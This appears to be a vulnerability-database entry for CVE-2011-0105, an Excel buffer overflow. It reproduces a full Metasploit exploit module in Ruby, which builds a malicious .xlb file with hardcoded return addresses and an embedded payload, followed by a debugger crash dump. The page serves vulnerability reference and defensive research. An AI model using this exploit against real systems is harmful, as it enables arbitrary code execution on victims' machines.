CVE-2011-0105

critical
Published 2011-04-13 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Microsoft Excel 2002 SP3, Office 2004 and 2008 for Mac, and Open XML File Format Converter for Mac obtain a certain length value from an uninitialized memory location, which allows remote attackers to trigger a buffer overflow and execute arbitrary code via a crafted Excel file, aka "Excel Data Initialization Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18087 local windows verified ruby ยท 4 KB
Metasploit ยท 2011-11-05

Microsoft Excel 2007 - '.xlb' Local Buffer Overflow (MS11-021) (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: ms11_021_xlb_bof.rb 14172 2011-11-06 20:16:34Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Excel of Microsoft Office 2007.
				By supplying a malformed .xlb file, an attacker can control the content (source)
				of a memcpy routine, and the number of bytes to copy, therefore causing a stack-
				based buffer overflow.  This results aribrary code execution under the context of
				user the user.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 14172 $",
			'Author'         =>
				[
					'Aniway',       #Initial discovery (via ZDI)
					'abysssec',     #RCA, poc
					'sinn3r',       #Metasploit
					'juan vazquez'  #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-0105'],
					['MSB', 'MS11-021'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'],
					['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/']
				],
			'Payload'        =>
				{
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'          => "process",
					'DisablePayloadHandler' => 'true',
					'InitialAutoRunScript'  => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Win XP SP3 (Vista and 7 will try to repair the file)
					['Microsoft Office Excel 2007 on Windows XP',     {'Ret' => 0x3006A48D }], # JMP ESP in EXCEL (Office 2007)
					['Microsoft Office Excel 2007 SP2 on Windows XP', {'Ret'=>0x3006b185}],    #JMP ESP in excel
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 9 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [true, 'The filename', 'msf.xlb'])
				], self.class)
	end

	def exploit
		path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb')
		f = File.open(path, 'rb')
		template = f.read
		f.close

		p = payload.encoded

		# Offset 1556
		record = ''
		record << "\xa7\x00"                        #record type
		record << "\x04\x00"                        #record length
		if target.name =~ /Excel 2007 SP2/ # Microsoft Office Excel 2007 SP2
			record << "\xb0\x0d\x0c\x00"                #data
		else
			record << "\xb0\x0f\x0c\x00"                #data
		end

		# Offset 1564
		continue_record = ''
		continue_record << "\x3c\x00"               #record type
		continue_record << [p.length+32].pack('v')  #length

		buf  = ''
		buf << template[0, 1556]
		buf << record
		buf << continue_record
		buf << rand_text_alpha(1)
		buf << [target.ret].pack('V*')
		buf << "\x00"*12
		buf << p
		buf << template[2336, template.length]

		file_create(buf)
	end
end

=begin
0:000> r
eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005
eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
EXCEL!Ordinal40+0x1a263d:
301a263d 8908            mov     dword ptr [eax],ecx  ds:0023:41414141=????????
0:000> dc esp
00137ef8  00000000 00000000 41414141 41414141  ........AAAAAAAA
00137f08  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f18  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f28  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f38  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f48  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00137f58  41414141 41414141 41414141 00000000  AAAAAAAAAAAA....
00137f68  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
=end

Metasploit modules

MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
windows microsoftexcel2002
windows microsoftoffice2004
windows microsoftoffice2008
windows microsoftopen_xml_file_format_converter

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.